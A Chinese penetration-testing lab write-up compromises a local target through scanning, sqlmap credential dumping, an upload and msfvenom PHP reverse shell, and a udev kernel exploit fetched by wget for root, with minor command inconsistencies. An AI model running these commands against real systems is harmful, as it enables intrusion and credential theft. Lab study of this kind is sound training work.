打靶记录(个人学习笔记)

2024-03-19 19:04

本文主要是介绍打靶记录(个人学习笔记),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、信息收集

1、主机发现

通过nmap对此网段进行扫描,可以确定靶机ip为192.168.189.144

2、端口扫描

确定了靶机ip之后,我们来扫描端口

发现80端口开放,先访问80端口

用插件识别出一些信息

Wappalyzer插件获得信息:Web服务:Apache2.2.3操作系统:Centos后端语言:PHP 5.2.6

二、漏洞扫描

AWVS:

Awvs进行Web漏洞探测发现

功能介绍如下:仪表盘(监视器)功能,添加目标功能,漏洞排序功能,扫描功能,发现功能,用户功能,扫描配置功能,网络扫描功能,追踪器功能,防火墙设置,邮件设置,引擎,时间排除功能,代理功能,常规设置主要使用的功能是前面的6个,后面的根据个人的需要进行配置详细介绍如下:Dashboard功能:翻译意思仪表盘(监视器),可以对扫描对扫描完成目标进行排列,可以单独点击进去查看详细的扫描信息;Targets功能:目标,可以对扫描的目标进行添加,可以单个添加,可以多个添加或者按组添加;Vulnerabilities功能:漏洞排序功能,对扫描出来的漏洞从高危到低位降序排列Scans功能:扫描,可以新建扫描(自己可以配置扫描的参数),可以直接看到扫描记录;Reports功能:可以对扫描的报告进行导出; Discovery功能:字面意思是发现,可以进行设置,有包含一些地址和组织的功能需要自己手动添加,也有排除一些地址和组织的功能,需要自己手动添加;Users功能:可以添加用户删除用户;Scan Profiles功能:扫描配置功能,可以选择对那些漏洞扫描,默认都选不用管;Network Scanner功能:网络扫描,需要设置扫描的地址端口,账号和密码;Issue Trackers功能:问题追踪器,如果扫描失败,进行配置,然后这个功能会尝试链接目标地址看出现什么问题;WAFs功能:防火墙设置,可以配置web应用程序防火墙;Email Settings功能:邮件设Engines功能:引擎Excluded Hours功能:小时排除,可以对一些时间进行排除Proxy Settings功能:代理功能,可以设置代理General Settings功能:常规设置

打开AWVS,在目标中输入我们靶机的ip地址:http://192.168.189.144/

点击保存之后开始进行扫描,可以看到出现一些高危漏洞,然后我们根据他给出的漏洞位置进行验证漏洞的真实性

根据给定的sql注入点进行测试

使用kali自带的sqlmap先跑出数据库:sqlmap -u http://192.168.189.144/index.php?id=2 --dbs

再跑数据库cms的表:sqlmap -u http://192.168.189.144/index.php?id=2 -D cms --tables

再跑user表的字段和值:sqlmap -u http://192.168.189.144/index.php?id=2 -D cms -T user --column

sqlmap -u http://192.168.189.144/index.php?id=2 -D cms -T user -C 'user_username,user_password' --dump

可以看到成功跑出了数据库的用户名和密码

也可以使用nikto漏扫工具进行扫描:

Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件/CGIs;超过625种服务器版本;超过230种特定服务器问题。扫描项和插件可以自动更新(如果需要)。但其软件本身并不经常更新,最新和最危险的可能会检测不到。

CGI漏洞:cgi漏洞是Common Gateway Interface(公用网关接口)的简称,并不特指一种语言。CGI语言漏洞分为配置错误、边界条件错误、访问验证错误、来源验证错误、输入验证错误、策略错误、使用错误等等。

Web服务器的安全问题主要包括:1)Web服务器软件编制中的BUG;2)服务器配置的错误。可能导致CGI源代码泄漏,物理路径信息泄漏,系统敏感信息泄漏或远程执行任意命令。CGI漏洞大多分为一下几种类型:暴露不该暴露的信息、执行不该执行的命令、溢出。

web服务器软件编制中的BUG

web服务器的配置错误

命令:nikto –h http://靶机IP

扫描之后可以看到有敏感目录泄露:

http://192.168.189.144/sql/db.sql

进入网站可以看到泄露了用户名和密码:

INSERT INTO user SET user_id = 1, user_username='admin', user_password=md5('adminpass');

找到登录页面,拿获取到的用户名和密码进行登录

http://192.168.189.144/?action=login

可以看到登录成功,但是没有看到多余的标签页,还是Home、login 这时我们考虑到是否有其他页面没有显示出来,我们可以尝试用不同的浏览器测试。我这里再谷歌浏览器中尝试登录打开,看是否后有什么新的页面展示出来,可以看到会多出来一些东西

可以发现上传页面

密码修改页面

接下来继续访问敏感路径:敏感目录探测:/docs/:

可以下载下来进行查看

可以在其中发现action目录下面存在文件包含漏洞

利用一下

MSF反弹shell

msfvenom msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线.部分参数:-p 选择一个载荷[payload],或者说一个模块吧。-l 载荷列表-f 生成的文件格式-e 编码方式-i 编码次数-b 在生成的程序中避免出现的值-h 帮助-f exe 生成EXE格式LHOST,LPORT 监听上线的主机IP和端口我们这里使用的命令为: 用msf生成php反向shell 命令:msfvenom -p php/meterpreter_reverse_tcp LHOST=kali的IP LPORT=4444 -o shell.php 参数解释: Reverse_tcp(攻击方被动连接的payload) Bind_tcp(攻击方主动连接的payload)

使用msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.189.138 LPORT=4444 -o shell.php命令进行生成反弹shell木马

上传我们生成好的shell木马

可以看到已经上传成功

我们打开它

接下来启动监听模块:use exploit/multi/handler

再配置payload

msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp

设置本地ip

exploit(multi/handler) > set lhost 192.168.189.144 设置本地地址

exploit(multi/handler) > set 查看配置

exploit(multi/handler) > exploit开启监听

刷新我们上传的反弹shell,进行连接

http://192.168.189.144/files/shell.php

可以发现成功连接

发现不是root权限,接下来开始提权,先查看系统版本:sysinfo

我们可以看到系统内核是:Linux 内核2.6版本

通过查阅,发现有Linux 内核2.6版本udev提权(CVE-2009-1185)

三、提权操作

输入searchsploit linux udev ,查找内核版本相关漏洞及攻击代码

说明:“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。

Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用。

基本搜索方法就是searchsploit+可能包含漏洞的软件/系统等等,对应回显存在的漏洞和用于渗透的脚本。

之后定位具体位置

拷贝到当前路径

下面准备把提权文件上传到靶机,首先要开启http服务:python -m http.server

用靶机下载:wget http://192.168.189.138:8000/8478.sh

赋予执行权限:chmod +x 8478.sh

利用攻击脚本进行攻击,查看一下当前的进程:

cat /proc/net/netlink           #查看进程号PID

使用./8478.ssh+PID进程号进行提权,提权成功后可以修改root密码进行登录

这篇关于打靶记录(个人学习笔记)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/826978

相关文章

java中pdf模版填充表单踩坑实战记录(itextPdf、openPdf、pdfbox)

《java中pdf模版填充表单踩坑实战记录(itextPdf、openPdf、pdfbox)》:本文主要介绍java中pdf模版填充表单踩坑的相关资料,OpenPDF、iText、PDFBox是三... 目录准备Pdf模版方法1:itextpdf7填充表单(1)加入依赖(2)代码(3)遇到的问题方法2:pd

Zabbix在MySQL性能监控方面的运用及最佳实践记录

《Zabbix在MySQL性能监控方面的运用及最佳实践记录》Zabbix通过自定义脚本和内置模板监控MySQL核心指标(连接、查询、资源、复制),支持自动发现多实例及告警通知,结合可视化仪表盘,可有效... 目录一、核心监控指标及配置1. 关键监控指标示例2. 配置方法二、自动发现与多实例管理1. 实践步骤

在Spring Boot中集成RabbitMQ的实战记录

《在SpringBoot中集成RabbitMQ的实战记录》本文介绍SpringBoot集成RabbitMQ的步骤,涵盖配置连接、消息发送与接收,并对比两种定义Exchange与队列的方式:手动声明(... 目录前言准备工作1. 安装 RabbitMQ2. 消息发送者(Producer)配置1. 创建 Spr

k8s上运行的mysql、mariadb数据库的备份记录(支持x86和arm两种架构)

《k8s上运行的mysql、mariadb数据库的备份记录(支持x86和arm两种架构)》本文记录在K8s上运行的MySQL/MariaDB备份方案,通过工具容器执行mysqldump,结合定时任务实... 目录前言一、获取需要备份的数据库的信息二、备份步骤1.准备工作(X86)1.准备工作(arm)2.手

SpringBoot3应用中集成和使用Spring Retry的实践记录

《SpringBoot3应用中集成和使用SpringRetry的实践记录》SpringRetry为SpringBoot3提供重试机制,支持注解和编程式两种方式,可配置重试策略与监听器,适用于临时性故... 目录1. 简介2. 环境准备3. 使用方式3.1 注解方式 基础使用自定义重试策略失败恢复机制注意事项

Python UV安装、升级、卸载详细步骤记录

《PythonUV安装、升级、卸载详细步骤记录》:本文主要介绍PythonUV安装、升级、卸载的详细步骤,uv是Astral推出的下一代Python包与项目管理器,主打单一可执行文件、极致性能... 目录安装检查升级设置自动补全卸载UV 命令总结 官方文档详见:https://docs.astral.sh/

统一返回JsonResult踩坑的记录

《统一返回JsonResult踩坑的记录》:本文主要介绍统一返回JsonResult踩坑的记录,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录统一返回jsonResult踩坑定义了一个统一返回类在使用时,JsonResult没有get/set方法时响应总结统一返回

Go学习记录之runtime包深入解析

《Go学习记录之runtime包深入解析》Go语言runtime包管理运行时环境,涵盖goroutine调度、内存分配、垃圾回收、类型信息等核心功能,:本文主要介绍Go学习记录之runtime包的... 目录前言:一、runtime包内容学习1、作用:① Goroutine和并发控制:② 垃圾回收:③ 栈和

java对接海康摄像头的完整步骤记录

《java对接海康摄像头的完整步骤记录》在Java中调用海康威视摄像头通常需要使用海康威视提供的SDK,下面这篇文章主要给大家介绍了关于java对接海康摄像头的完整步骤,文中通过代码介绍的非常详细,需... 目录一、开发环境准备二、实现Java调用设备接口(一)加载动态链接库(二)结构体、接口重定义1.类型

Android学习总结之Java和kotlin区别超详细分析

《Android学习总结之Java和kotlin区别超详细分析》Java和Kotlin都是用于Android开发的编程语言,它们各自具有独特的特点和优势,:本文主要介绍Android学习总结之Ja... 目录一、空安全机制真题 1:Kotlin 如何解决 Java 的 NullPointerExceptio